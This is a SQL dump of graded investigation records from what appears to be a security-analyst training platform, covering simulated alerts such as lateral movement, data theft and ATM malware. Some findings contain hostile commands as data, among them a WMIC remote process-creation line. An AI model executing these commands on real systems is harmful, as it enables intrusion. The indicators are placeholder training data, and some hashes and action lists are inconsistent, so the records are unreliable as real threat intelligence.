(457, 189, 322, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.102\",\"ip-192.168.1.150\",\"hash-3f1d0f1e\",\"cmd-1\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 3:57:07 AM\\nALERT: Lateral Movement Detected [OP: Operation Silent Harvest]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.102\\n- [IP] 192.168.1.150\\n- [HASH] 3f1d0f1e2a2b3c4d5e6f7a8b9c0d1e2f3g4h5i6j\\n- [COMMAND] wmic /node:192.168.1.150 process call create \'cmd.exe /c whoami\'\\n- [IP] 203.0.113.45\\n- [USERNAME] admin_jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-03-09T02:57:18.209Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 02:54:27', '2026-03-09 02:57:18', 0, NULL),
(458, 189, 323, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.0.0.25\",\"ip-203.0.113.45\",\"hash-b1946ac9\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 3:59:06 AM\\nALERT: Data Exfiltration Attempt [OP: Operation Silent Harvest]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 10.0.0.25\\n- [IP] 203.0.113.45\\n- [HASH] b1946ac92492d2347c6235b4d2611184\\n- [FILENAME] confidential_data.zip\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-03-09T02:59:15.881Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 02:57:18', '2026-03-09 02:59:15', 0, NULL),
(459, 189, 324, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.0.5.23\",\"ip-203.0.113.45\",\"hash-e99a18c4\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:01:48 AM\\nALERT: Suspicious Network Traffic Detected [OP: Operation Infinite Loop]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 10.0.5.23\\n- [IP] 203.0.113.45\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [USERNAME] jdoe\\n- [FILENAME] suspicious_payload.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-03-09T03:01:58.280Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 02:59:38', '2026-03-09 03:01:58', 0, NULL),
(460, 189, 325, 'graded', 93, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-185.143.223.91\",\"ip-192.168.1.1\",\"hash-e99a18c4\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:04:04 AM\\nALERT: Malicious Firmware Update Detected [OP: Operation Infinite Loop]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 185.143.223.91\\n- [IP] 192.168.1.1\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [FILENAME] firmware_update_v5.3.2.bin\\n- [USERNAME] admin\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-03-09T03:04:18.391Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)\",\"missed_items\":[\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 03:01:58', '2026-03-09 03:04:18', 0, NULL),
(461, 189, 326, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.101\",\"artifact_2\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:05:30 AM\\nALERT: Persistence Mechanism Established [OP: Operation Infinite Loop]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.101\\n- [HASH] 3a5f2b3df5b9e3c6d6b8c2e9a1f4b8d7\\n- [FILENAME] /dev/mtd0\\n- [USERNAME] admin\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: A. MANE\",\"submitted_at\":\"2026-03-09T03:05:43.039Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 03:04:18', '2026-03-09 03:05:43', 0, NULL),
(462, 189, 327, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.1.1.5\",\"hash-5d41402a\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:06:42 AM\\nALERT: Lateral Movement Detected [OP: Operation Infinite Loop]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.1.1.5\\n- [HASH] 5d41402abc4b2a76b9719d911017c592\\n- [USERNAME] compromised_user\\n- [FILENAME] malicious_payload.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: A. MANE\",\"submitted_at\":\"2026-03-09T03:06:52.676Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 03:05:43', '2026-03-09 03:06:52', 0, NULL),
(463, 189, 328, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.0.5.23\",\"ip-203.0.113.45\",\"hash-d41d8cd9\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:08:02 AM\\nALERT: Command and Control Channel Established [OP: Operation Infinite Loop]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 10.0.5.23\\n- [IP] 203.0.113.45\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: A. MANE\",\"submitted_at\":\"2026-03-09T03:08:15.658Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 03:06:52', '2026-03-09 03:08:15', 0, NULL),
(464, 189, 329, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.25\",\"ip-203.0.113.45\",\"hash-e99a18c4\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:09:17 AM\\nALERT: Data Exfiltration Attempt Detected [OP: Operation Infinite Loop]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 192.168.1.25\\n- [IP] 203.0.113.45\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [FILENAME] confidential_report.pdf\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: A. MANE\",\"submitted_at\":\"2026-03-09T03:09:29.739Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 03:08:15', '2026-03-09 03:09:29', 0, NULL),
(465, 189, 330, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.5.23\",\"hash-a3f5c3d4\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:10:47 AM\\nALERT: Privilege Escalation Detected [OP: Operation Infinite Loop]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.5.23\\n- [HASH] a3f5c3d4b8e5f6a7d9e8c1b7a9f0c8b7\\n- [USERNAME] john_doe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: A. MANE\",\"submitted_at\":\"2026-03-09T03:10:56.034Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 03:09:29', '2026-03-09 03:11:59', 1, 'issue'),
(466, 189, 331, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-09 03:10:56', '2026-03-09 03:10:56', 0, NULL),
(467, 225, 1443, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-172.217.18.110\",\"ip-10.0.0.15\",\"hash-d41d8cd9\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 2:20:39 PM\\nALERT: Initial Access via Spear Phishing [OP: Operation In(ter)ception]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 172.217.18.110\\n- [IP] 10.0.0.15\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [EMAIL] j.smith@aerospace-experts.com\\n- [URL] http://compromised-site.com/login\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T03:20:49.010Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-09 06:28:44', '2026-03-09 03:18:44', '2026-03-09 03:20:49', 0, NULL),
(468, 225, 1444, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.10\",\"hash-3fa8f88c\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"reset_credentials\",\"escalate\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 2:22:21 PM\\nALERT: Execution of Custom Mac Malware [OP: Operation In(ter)ception]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.10\\n- [HASH] 3fa8f88c9b1e237e9b6c8e1e4d9e2f7c\\n- [FILENAME] launchProxy\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T03:22:28.803Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 03:20:49', '2026-03-09 03:22:28', 0, NULL),
(469, 225, 1445, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-10.0.5.12\",\"ip-203.0.113.5\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 2:23:40 PM\\nALERT: Establishing Persistence and Lateral Movement [OP: Operation In(ter)ception]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 10.0.5.12\\n- [IP] 203.0.113.5\\n- [USERNAME] jdoe\\n- [HASH] 7e4d2b6e3f8c6b1b9a3c342f5d7a8a3b\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T03:23:46.689Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 03:22:28', '2026-03-09 03:23:46', 0, NULL);
INSERT INTO `investigations` (`id`, `user_id`, `alert_id`, `status`, `grade`, `feedback`, `executive_summary`, `ai_summary`, `ai_evaluation_scheduled_at`, `created_at`, `updated_at`, `is_reported`, `report_reason`) VALUES
(470, 225, 1456, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.50\",\"hash-d41d8cd9\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:41:48 PM\\nALERT: Suspicious Access to Transaction Switch [OP: Operation FASTCash]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.50\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] APT38_tool.bin\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T05:41:53.954Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-09 08:46:01', '2026-03-09 05:37:01', '2026-03-09 05:41:53', 0, NULL),
(471, 225, 1457, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-185.92.220.123\",\"ip-192.168.10.25\",\"hash-b6a9c8e1\",\"cmd-1\",\"artifact_4\"],\"selectedActions\":[\"escalate\",\"collect_forensics\",\"block_hash\",\"isolate_host\",\"block_ip\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:43:00 PM\\nALERT: Malicious Code Execution Detected [OP: Operation FASTCash]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 185.92.220.123\\n- [IP] 192.168.10.25\\n- [HASH] b6a9c8e1d1d7d4a5f1b5c3e2a8f4b9d0\\n- [COMMAND] cmd.exe /c C:\\\\Malware\\\\ATMCodeChanger.exe\\n- [FILENAME] ATMCodeChanger.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T05:43:01.207Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 05:41:53', '2026-03-09 05:43:01', 0, NULL),
(472, 225, 1458, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-51.15.123.45\",\"hash-d41d8cd9\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:44:02 PM\\nALERT: Establishing Persistent Access [OP: Operation FASTCash]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 51.15.123.45\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] svchost.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T05:44:07.314Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 05:43:01', '2026-03-09 05:44:07', 0, NULL),
(473, 225, 1459, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.15\",\"hash-3f4a9d7b\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"collect_forensics\",\"block_hash\",\"isolate_host\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:45:11 PM\\nALERT: Coordinated Mule Network Activation - Step 4 [OP: Operation FASTCash]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.15\\n- [HASH] 3f4a9d7b2e3f8c4b7d89e6f1a0b0c9d1\\n- [USERNAME] atm_operator\\n- [FILENAME] atm_control.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T05:45:12.720Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 05:44:07', '2026-03-09 05:45:12', 0, NULL),
(474, 225, 1460, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.10.45\",\"ip-203.0.113.15\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:46:12 PM\\nALERT: Exfiltration of Stolen Funds [OP: Operation FASTCash]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.10.45\\n- [IP] 203.0.113.15\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] funds_transfer.exe\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T05:46:18.046Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 05:45:12', '2026-03-09 05:46:18', 0, NULL),
(475, 225, 1451, 'graded', 88, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/5)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.5\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"close_alert\",\"block_hash\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:47:59 PM\\nALERT: Spear-Phishing Email Detected [OP: Operation CryptoCore]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.5\\n- [EMAIL] trustedpartner@example.com\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T05:48:52.914Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/5)\",\"missed_items\":[\"collect_forensics\",\"escalate\"],\"strengths\":\"Solid analysis\"}', '2026-03-09 08:55:02', '2026-03-09 05:47:02', '2026-03-09 05:48:52', 0, NULL),
